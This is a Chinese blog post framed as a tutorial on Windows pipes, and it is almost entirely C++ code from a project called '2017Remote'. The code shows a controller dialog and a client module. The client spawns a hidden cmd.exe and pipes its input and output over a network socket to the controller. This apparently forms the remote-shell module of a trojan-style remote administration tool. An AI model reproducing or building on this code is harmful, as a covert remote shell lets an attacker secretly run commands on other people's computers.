网上有大量的关于管道的理论文章,在此不再赘述,最近在做一个通信上的项目,正好用到管道-------MFC对话框和CMD之间的通信。
主控端做成成品,做的MFC。
主控端代码
1 // CmdManagerDlg.cpp : 实现文件 2 // 3 4 #include "stdafx.h" 5 #include "2017Remote.h" 6 #include "CmdManagerDlg.h" 7 #include "afxdialogex.h" 8 #include "Common.h" 9 10 // CmdManagerDlg 对话框 11 12 IMPLEMENT_DYNAMIC(CmdManagerDlg, CDialog) 13 14 CmdManagerDlg::CmdManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) 15 : CDialog(IDD_DIALOG_CMD_MANAGER, pParent) 16 { 17 m_IOCPServer = IOCPServer; 18 m_ContextObject = ContextObject; 19 20 m_IconHwnd = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CMD_MANAGER)); 21 } 22 23 CmdManagerDlg::~CmdManagerDlg() 24 { 25 } 26 27 void CmdManagerDlg::DoDataExchange(CDataExchange* pDX) 28 { 29 CDialog::DoDataExchange(pDX); 30 DDX_Control(pDX, IDC_EDIT_CMD, m_CEdit_Cmd); 31 } 32 33 34 BEGIN_MESSAGE_MAP(CmdManagerDlg, CDialog) 35 ON_WM_CLOSE() 36 ON_WM_CTLCOLOR() 37 ON_WM_SIZE() 38 END_MESSAGE_MAP() 39 40 41 // CmdManagerDlg 消息处理程序 42 43 44 BOOL CmdManagerDlg::OnInitDialog() 45 { 46 CDialog::OnInitDialog(); 47 // TODO: 在此添加额外的初始化 48 SetIcon(m_IconHwnd, FALSE); 49 // If TRUE, the default value, the method sets a large icon. Otherwise, it sets a small icon. 50 CString v1; 51 sockaddr_in ClientAddress; 52 memset(&ClientAddress, 0, sizeof(ClientAddress)); 53 int ClientLength = sizeof(ClientAddress); 54 BOOL bRet = getpeername(m_ContextObject->ClientSocket, (SOCKADDR*)&ClientAddress, &ClientLength); //得到连接的ip 55 v1.Format("IP:%s", bRet != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); 56 SetWindowText(v1);//设置对话框标题 57 m_uReceiveDataLength = 0; 58 m_nCurSel = 0; 59 BYTE bToken = CMD_MANAGER::COMMAND_CMD_CONTINUE; 60 m_IOCPServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); 61 return TRUE; // return TRUE unless you set the focus to a control 62 // 异常: OCX 属性页应返回 FALSE 63 } 64 65 66 void CmdManagerDlg::OnClose() 67 { 68 // TODO: 在此添加消息处理程序代码和/或调用默认值 69 m_ContextObject->DlgID = 0; 70 CancelIo((HANDLE)m_ContextObject->ClientSocket); 71 closesocket(m_ContextObject->ClientSocket); 72 CDialog::OnClose(); 73 } 74 75 76 HBRUSH CmdManagerDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 77 { 78 HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 79 80 // TODO: 在此更改 DC 的任何特性 81 if ((pWnd->GetDlgCtrlID() == IDC_EDIT_CMD) && (nCtlColor == CTLCOLOR_EDIT)) 82 { 83 COLORREF clr = RGB(255, 255, 255); 84 pDC->SetTextColor(clr); //设置白色的文本 85 clr = RGB(0, 0, 0); 86 pDC->SetBkColor(clr); //设置黑色的背景 87 return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄 88 } 89 else 90 { 91 return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 92 } 93 // TODO: 如果默认的不是所需画笔,则返回另一个画笔 94 return hbr; 95 } 96 97 VOID CmdManagerDlg::OnReceiveComplete() 98 { 99 if (m_ContextObject == NULL)100 {101 return;102 }103 ShowData();104 m_uReceiveDataLength = m_CEdit_Cmd.GetWindowTextLength();105 }106 107 VOID CmdManagerDlg::ShowData(void)108 {109 m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //接个\0110 111 CString strBuffer = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(); //获得所有数据112 strBuffer.Replace("\n", "\r\n");113 114 int iLength = m_CEdit_Cmd.GetWindowTextLength();//获得当前窗口的字符个数115 116 m_CEdit_Cmd.SetSel(m_nCurSel, iLength); //此函数选中[L,R]的区域,相同则呈现条形117 118 m_CEdit_Cmd.ReplaceSel(strBuffer); //同传递过来的数据替换掉上述位置的字符119 120 m_nCurSel = m_CEdit_Cmd.GetWindowTextLength(); //重新获得此时光标的位置121 }122 123 BOOL CmdManagerDlg::PreTranslateMessage(MSG* pMsg)124 {125 // TODO: 在此添加专用代码和/或调用基类126 if (pMsg->message == WM_KEYDOWN)127 {128 // 屏蔽VK_ESCAPE、VK_DELETE129 if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)130 return true;131 //如果是可编辑框的回车键132 if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)133 {134 int iLength = m_CEdit_Cmd.GetWindowTextLength();135 136 CString strBuffer;137 m_CEdit_Cmd.GetWindowText(strBuffer);138 139 strBuffer += "\r\n";140 141 m_IOCPServer->OnClientPreSending(m_ContextObject, (LPBYTE)strBuffer.GetBuffer() + m_nCurSel, strBuffer.GetLength() - m_nCurSel);142 }143 // 限制VK_BACK 消到<=第一次接收到的数据时,就不能消了144 if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)145 {146 if (m_CEdit_Cmd.GetWindowTextLength() <= m_uReceiveDataLength)147 return true;148 }149 }150 return CDialog::PreTranslateMessage(pMsg);151 }152 153 VOID CmdManagerDlg::ResizeEdit(void)154 {155 if (m_CEdit_Cmd.m_hWnd == NULL)156 {157 return;158 }159 RECT rectClient;160 RECT rectEdit;161 GetClientRect(&rectClient);162 rectEdit.left = 0;163 rectEdit.top = 0;164 rectEdit.right = rectClient.right;165 rectEdit.bottom = rectClient.bottom;166 m_CEdit_Cmd.MoveWindow(&rectEdit);167 }168 void CmdManagerDlg::OnSize(UINT nType, int cx, int cy)169 {170 CDialog::OnSize(nType, cx, cy);171 172 // TODO: 在此处添加消息处理程序代码173 ResizeEdit();174 }
客户端代码
1 #include "CmdManager.h" 2 #include "Common.h" 3 CmdManager::CmdManager(IOCPClient* ClientObject) :Manager(ClientObject) 4 { 5 SECURITY_ATTRIBUTES sa = { 0 }; 6 sa.nLength = sizeof(sa); 7 sa.lpSecurityDescriptor = NULL; 8 sa.bInheritHandle = TRUE; //重要 9 //cmd可以继承handle 10 m_ReadHandle1 = NULL; //Client 11 m_WriteHandle1 = NULL; //Client 12 m_ReadHandle2 = NULL; //Cmd 13 m_WriteHandle2 = NULL; //Cmd 14 //创建管道 15 if (!CreatePipe(&m_ReadHandle1, &m_WriteHandle2, &sa, 0)) 16 { 17 if (m_ReadHandle1 != NULL) 18 { 19 CloseHandle(m_ReadHandle1); 20 } 21 if (m_WriteHandle2 != NULL) 22 { 23 CloseHandle(m_WriteHandle2); 24 } 25 return; 26 } 27 28 if (!CreatePipe(&m_ReadHandle2, &m_WriteHandle1, &sa, 0)) 29 { 30 if (m_WriteHandle1 != NULL) 31 { 32 CloseHandle(m_WriteHandle1); 33 } 34 if (m_ReadHandle2 != NULL) 35 { 36 CloseHandle(m_ReadHandle2); 37 } 38 return; 39 } 40 41 char szCmdFullPath[MAX_PATH] = { 0 }; 42 GetSystemDirectory(szCmdFullPath, MAX_PATH); 43 //C:\windows\system32 44 strcat(szCmdFullPath, "\\cmd.exe"); 45 //C:\windows\system32\cmd.exe 46 STARTUPINFO si = { 0 }; 47 // is used with the CreateProcess function to specify main window properties if a new window is created for the new process 48 PROCESS_INFORMATION pi = { 0 }; //CreateProcess 49 50 memset((void *)&si, 0, sizeof(si)); 51 memset((void *)&pi, 0, sizeof(pi)); 52 53 si.cb = sizeof(STARTUPINFO); 54 55 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 56 si.hStdInput = m_ReadHandle2; //将管道数据向Cmd赋值 57 si.hStdOutput = si.hStdError = m_WriteHandle2; 58 59 si.wShowWindow = SW_HIDE; //窗口隐藏 60 61 //创建新的进程 62 if (!CreateProcess(szCmdFullPath, NULL, NULL, NULL, TRUE, 63 NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 64 { 65 CloseHandle(m_ReadHandle1); 66 CloseHandle(m_WriteHandle1); 67 CloseHandle(m_ReadHandle2); 68 CloseHandle(m_WriteHandle2); 69 return; 70 } 71 72 //保存Cmd进程的进程句柄和主线程句柄 73 m_CmdProcessHandle = pi.hProcess; 74 m_CmdThreadHandle = pi.hThread; 75 76 BYTE bToken = CMD_MANAGER::COMMAND_CMD_MANAGER_REPLY; //包含头文件 Common.h 77 m_ClientObject->OnServerSending((char*)&bToken, 1); 78 79 WaitForDialogOpen(); 80 81 m_bStarting = TRUE; 82 m_ThreadHandle = CreateThread(NULL, 0, 83 (LPTHREAD_START_ROUTINE)ReadCallBack, (LPVOID)this, 0, NULL); //Client 读取管道数据 84 } 85 86 CmdManager::~CmdManager() 87 { 88 m_bStarting = FALSE; 89 90 TerminateThread(m_CmdThreadHandle, 0); //结束我们自己创建的Cmd线程 91 TerminateProcess(m_CmdProcessHandle, 0); //结束我们自己创建的Cmd进程 92 93 Sleep(100); 94 95 if (m_ReadHandle1 != NULL) 96 { 97 DisconnectNamedPipe(m_ReadHandle1); 98 CloseHandle(m_ReadHandle1); 99 m_ReadHandle1 = NULL;100 }101 if (m_WriteHandle1 != NULL)102 {103 DisconnectNamedPipe(m_WriteHandle1);104 CloseHandle(m_WriteHandle1);105 m_WriteHandle1 = NULL;106 }107 if (m_ReadHandle2 != NULL)108 {109 DisconnectNamedPipe(m_ReadHandle2);110 CloseHandle(m_ReadHandle2);111 m_ReadHandle2 = NULL;112 }113 if (m_WriteHandle2 != NULL)114 {115 DisconnectNamedPipe(m_WriteHandle2);116 CloseHandle(m_WriteHandle2);117 m_WriteHandle2 = NULL;118 }119 }120 121 DWORD WINAPI CmdManager::ReadCallBack(LPVOID lParam)122 {123 CmdManager *Manager = (CmdManager*)lParam;124 char szBuffer[0x400] = { 0 };125 DWORD dwReturn = 0;126 DWORD dwTotal = 0;127 while (Manager->m_bStarting)128 {129 Sleep(100);130 //R1是cmd回传的数据131 while (PeekNamedPipe(Manager->m_ReadHandle1,132 szBuffer,sizeof(szBuffer),&dwReturn,&dwTotal,NULL))133 {134 if (dwReturn <= 0)135 {136 break;137 }138 memset(szBuffer, 0, sizeof(szBuffer));139 LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);140 //读取管道数据141 ReadFile(Manager->m_ReadHandle1,142 szTotalBuffer, dwTotal, &dwTotal, NULL);143 144 Manager->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwTotal);145 LocalFree(szTotalBuffer);146 }147 }148 cout << "ReadPipe线程退出" << endl;149 return 0;150 }151 //在某个部位调用,在这不予显示152 VOID CmdManager::OnReceive(PBYTE szBuffer, ULONG ulBufferLength)153 {154 switch (szBuffer[0])155 {156 case CMD_MANAGER::COMMAND_CMD_CONTINUE:157 {158 NotifyDialogIsOpen();159 break;160 }161 default:162 unsigned long ulReturnLength = 0;163 if (WriteFile(m_WriteHandle1, szBuffer, ulBufferLength, &ulReturnLength, NULL))164 {165 //写入管道中166 }167 break;168 }169 }